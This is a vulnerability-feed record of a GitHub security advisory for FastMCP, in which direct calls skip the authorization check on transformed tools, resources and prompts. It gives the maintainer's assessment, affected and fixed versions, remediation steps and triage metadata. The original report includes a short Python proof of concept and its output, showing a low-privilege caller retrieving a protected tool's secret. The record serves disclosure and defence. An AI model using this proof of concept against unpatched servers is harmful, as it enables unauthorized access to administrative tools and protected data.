{"id":"GHSA-7xgj-8392-5q4r","kind":"vulnerability","aliases":["GHSA-7xgj-8392-5q4r"],"related":[],"title":"FastMCP: Post-transform component authorization is skipped on direct calls","description":"## Maintainer assessment and remediation\n\nThis report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.\n\nThe fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.\n\nAffected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both `fastmcp` and `fastmcp-slim` installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.\n\nFixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.\n\n## Original report\n\n# Post-transform component authorization is skipped on direct calls\n\n## Summary\n\nFastMCP's direct component paths can return a transformed component before its applicable `AuthCheck`, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit `e2fcc412001ff7414095c5dc282f94c70299a612` using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.\n\n## Details\n\n### Attacker prerequisites\n\nA server uses a supported provider, server, or session transform and a metadata-aware component `AuthCheck`. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.\n\n### Root cause\n\nListing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See [`server.py:933-940`](https://github.com/PrefectHQ/fastmcp/blob/v4.1.0/fastmcp_slim/fastmcp/server/server.py#L933-L940). The MCP `tools/call` handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.\n\n## Proof of concept\n\nSave this as `poc_transform_auth.py`:\n\n```python\nimport anyio\n\nfrom fastmcp import FastMCP\nfrom fastmcp.server.auth import restrict_tag\nfrom fastmcp.server.transforms.tool_transform import ToolTransform\nfrom fastmcp.tools.base import Tool\nfrom fastmcp.tools.tool_transform import ToolTransformConfig\n\n\nasync def main() -> None:\n    server = FastMCP(\"auth-boundary\")\n    server.add_tool(\n        Tool.from_function(\n            lambda: \"PROTECTED SECRET\",\n            name=\"tagged_tool\",\n            tags={\"public\"},\n            auth=restrict_tag(\"admin\", scopes=[\"admin\"]),\n        )\n    )\n    server.add_transform(\n        ToolTransform({\"tagged_tool\": ToolTransformConfig(tags={\"admin\"})})\n    )\n\n    print(\"listed:\", [tool.name for tool in await server.list_tools()])\n    try:\n        result = await server.call_tool(\"tagged_tool\")\n    except Exception as exc:\n        print(\"BLOCKED:\", type(exc).__name__)\n    else:\n        print(\"VULNERABLE: direct call returned\", result.content[0].text)\n\n\nanyio.run(main)\n```\n\nRun it in an isolated environment:\n\n```bash\nuv run --with fastmcp==4.1.0 -- python poc_transform_auth.py\n```\n\nObserved on 4.1.0 for a caller without the `admin` scope:\n\n```text\nlisted: []\nVULNERABLE: direct call returned PROTECTED SECRET\n```\n\n## Impact\n\nA low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.\n\n### Recommended remediation\n\nApply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable `AuthCheck` runs.\n\n## AI assistance\n\nYes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.","summary":"FastMCP, a Python framework for building MCP servers, returns a transformed tool, resource, template or prompt on direct lookup without rerunning its authorization check. A low-privilege caller who knows the final component name can execute or read components that the configured policy denies.","severity":"medium","cvss":6.8,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"fastmcp","fixed":["3.4.10"],"affected":">= 3.0.0, < 3.4.10","ecosystem":"pypi"},{"name":"fastmcp","fixed":["4.1.2"],"affected":">= 4.0.0, < 4.1.2","ecosystem":"pypi"},{"name":"fastmcp-slim","fixed":["3.4.10"],"affected":">= 3.0.0, < 3.4.10","ecosystem":"pypi"},{"name":"fastmcp-slim","fixed":["4.1.2"],"affected":">= 4.0.0, < 4.1.2","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["ai-tooling","cwe-862","fastmcp","mcp","python","self-hosted"],"not_affected_if":["no-component-auth","no-transforms","static-tool-set"],"how_to_check":"pip show fastmcp fastmcp-slim (or uv pip list) and look for versions 3.0.0-3.4.9 or 4.0.0-4.1.1\nSearch the server code for component auth (auth=) combined with add_transform or ToolTransform, or for protected concrete resources overlapping proxy templates","fix":"Upgrade fastmcp and fastmcp-slim to 3.4.10 (3.x line) or 4.1.2 (4.x line)\nUntil upgraded, enforce required authorization inside the tool/resource handler rather than relying on a policy whose inputs a transform changes, and avoid overlapping proxy templates for protected resources","status":"open","published_at":"2026-10-23T21:32:06+00:00","first_seen_at":"2026-10-23T21:39:59+00:00","triaged_at":"2026-10-23T21:41:16+00:00","updated_at":"2026-10-23T21:41:16+00:00","category":"ai-tooling","confidence":0.8,"triage":{"at":"2026-10-23T21:41:16Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade fastmcp and fastmcp-slim to 3.4.10 (3.x line) or 4.1.2 (4.x line)\nUntil upgraded, enforce required authorization inside the tool/resource handler rather than relying on a policy whose inputs a transform changes, and avoid overlapping proxy templates for protected resources","reach":"network","impact":"high","summary":"FastMCP, a Python framework for building MCP servers, returns a transformed tool, resource, template or prompt on direct lookup without rerunning its authorization check. A low-privilege caller who knows the final component name can execute or read components that the configured policy denies.","category":"ai-tooling","who_cares":["mcp","python","fastmcp","self-hosted"],"confidence":0.8,"needs_auth":"yes","worst_case":"Low-privilege caller runs hidden admin tools and reads protected resources","analyst_note":"","how_to_check":"pip show fastmcp fastmcp-slim (or uv pip list) and look for versions 3.0.0-3.4.9 or 4.0.0-4.1.1\nSearch the server code for component auth (auth=) combined with add_transform or ToolTransform, or for protected concrete resources overlapping proxy templates","needs_analyst":false,"not_affected_if":["no-component-auth","no-transforms","static-tool-set"],"user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"medium"},"cost_usd":0.000701,"input_tokens":4503,"output_tokens":502,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-5':16A,22A '-862':36B '-940':446C '/prefecthq/fastmcp/blob/v4.1.0/fastmcp_slim/fastmcp/server/server.py#l933-l940).':449C '0':566C '3.0.0':209C '3.4.10':258C '3.4.9':210C '4.0.0':212C '4.1.0':336C,431C,581C,586C '4.1.1':213C '4.1.2':260C '7xgj':14A,20A '8392':15A,21A 'absent':199C 'accept':95C 'access':356C 'admin':523C,525C,533C,592C 'affect':204C,239C 'ai':33B 'ai-tool':32B 'allow':321C 'also':171C 'anyio':475C 'anyio.run':568C 'appli':417C,432C 'applic':319C 'assess':89C 'async':499C 'attack':349C,364C,384C 'auth':506C,520C 'auth-boundari':505C 'authcheck':320C,382C 'author':6A,65B,99C,116C,158C,190C,192C,217C,243C,274C,300C,421C,440C 'avail':255C 'avoid':263C 'await':540C,545C 'awar':380C 'bash':576C 'behavior':330C 'block':555C 'boundari':280C,507C 'build':48B 'call':11A,305C,563C 'caller':71B,191C,325C,589C 'caus':415C 'chang':108C,290C 'check':66B,121C,218C 'client':135C 'commit':338C 'compon':5A,76B,82B,114C,124C,129C,139C,193C,242C,299C,310C,316C,381C,403C,424C,438C,443C 'concept':468C 'concret':169C,200C,248C 'configur':85B,103C,153C,362C 'control':360C,408C 'cwe':35B 'def':500C 'deni':87B,155C,168C 'detail':363C 'direct':10A,60B,118C,304C,309C,427C,458C,562C 'e2fcc412001ff7414095c5dc282f94c70299a612':339C 'els':559C 'enforc':271C 'environ':575C 'equival':457C 'exc':553C,557C 'except':550C,551C 'execut':79B,327C 'exist':460C 'fastmcp':1A,24A,25A,27A,30A,37B,43B,98C,208C,232C,235C,257C,307C,335C,346C,361C,430C,477C,479C,504C,580C 'fastmcp-slim':26A,29A,234C 'fastmcp.server.auth':481C 'fastmcp.server.transforms.tool':486C 'fastmcp.tools.base':491C 'fastmcp.tools.tool':495C 'final':75B,160C,216C,401C,442C 'fix':157C,253C 'framework':46B 'function':511C 'genuin':198C 'ghsa':13A,19A 'ghsa-7xgj':12A,18A 'github.com':448C 'github.com/prefecthq/fastmcp/blob/v4.1.0/fastmcp_slim/fastmcp/server/server.py#l933-l940).':447C 'guess':399C 'handler':277C,453C 'hidden':328C 'histori':223C 'host':42B 'ident':391C 'identifi':140C 'import':474C,478C,482C,488C,492C,497C 'in-process':343C 'input':288C 'instal':237C 'invok':142C 'isol':574C 'know':73B,137C,397C 'lack':392C 'lambda':512C 'line':207C 'list':416C,535C,595C 'lookup':61B,119C,428C 'low':69B,323C,389C 'low-privileg':68B,322C,388C 'main':501C,569C 'maintain':88C 'match':174C 'mcp':38B,49B,451C 'metadata':110C,379C 'metadata-awar':378C 'miss':215C 'name':77B,404C,515C,558C 'none':502C 'observ':584C 'origin':123C,294C 'overlap':250C,264C 'path':311C,429C,456C,459C 'poc_transform_auth.py':472C,583C 'polici':86B,117C,133C,154C,286C,413C 'post':3A,297C 'post-transform':2A,296C 'prerequisit':365C 'present':220C 'prevent':180C 'previous':120C 'print':534C,554C,560C 'privileg':70B,324C,390C 'process':345C 'prompt':58B,150C,166C,465C 'proof':466C 'protect':187C,247C,268C,329C,513C 'provid':371C 'proxi':181C,251C,265C 'public':519C 'python':39B,45B,473C,582C 'q4r':17A,23A 'rather':281C 'reach':454C 'read':81B 'recheck':131C 'releas':206C 'reli':283C 'remain':202C 'remedi':91C 'report':93C,295C 'reproduc':226C,332C 'requir':273C,394C 'rerun':63B 'resourc':55B,148C,163C,170C,175C,188C,201C,249C,269C,462C 'restrict':483C,521C 'result':544C 'result.content':565C 'retriev':146C,184C 'return':51B,126C,313C,436C,564C 'root':414C 'run':570C,578C 'save':469C 'scope':395C,524C,593C 'secret':514C 'see':444C 'self':41B 'self-host':40B 'server':50B,105C,279C,347C,354C,367C,372C,503C 'server-sid':353C 'server.add':508C,526C 'server.call':546C 'server.list':541C 'server.py:933':445C 'session':374C 'shadow':172C 'side':355C 'skip':8A,302C 'slim':28A,31A,236C 'stabl':205C 'summari':306C 'support':102C,203C,370C 'tag':484C,516C,518C,522C,529C,532C,548C 'templat':56B,164C,176C,182C,196C,252C,266C,463C 'text':567C,594C 'tool':34B,54B,144C,162C,493C,509C,517C,530C,538C,542C,547C,549C 'tool.from':510C 'tool.name':536C 'tools/call':452C 'tooltransform':489C,528C 'tooltransformconfig':498C,531C 'transform':4A,53B,106C,128C,161C,245C,293C,298C,315C,375C,402C,410C,418C,423C,434C,487C,496C,527C 'tri':543C 'type':556C 'upgrad':262C 'upstream':189C 'uri':179C 'use':111C,241C,340C,368C 'uv':577C 'v3.0.0':222C 'v3.4.9':228C 'v4.1.0':230C 'valid':387C 'version':194C 'vuln':596C 'vulner':100C,561C 'whose':287C 'without':62B,130C,439C,590C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-23T21:32:06+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-7xgj-8392-5q4r","url":"https://github.com/advisories/GHSA-7xgj-8392-5q4r","severity":"medium","published_at":"2026-10-23T21:32:06+00:00","modified_at":"2026-10-23T21:32:07+00:00","first_seen_at":"2026-10-23T21:39:59+00:00","fetched_at":"2026-10-23T21:39:59+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}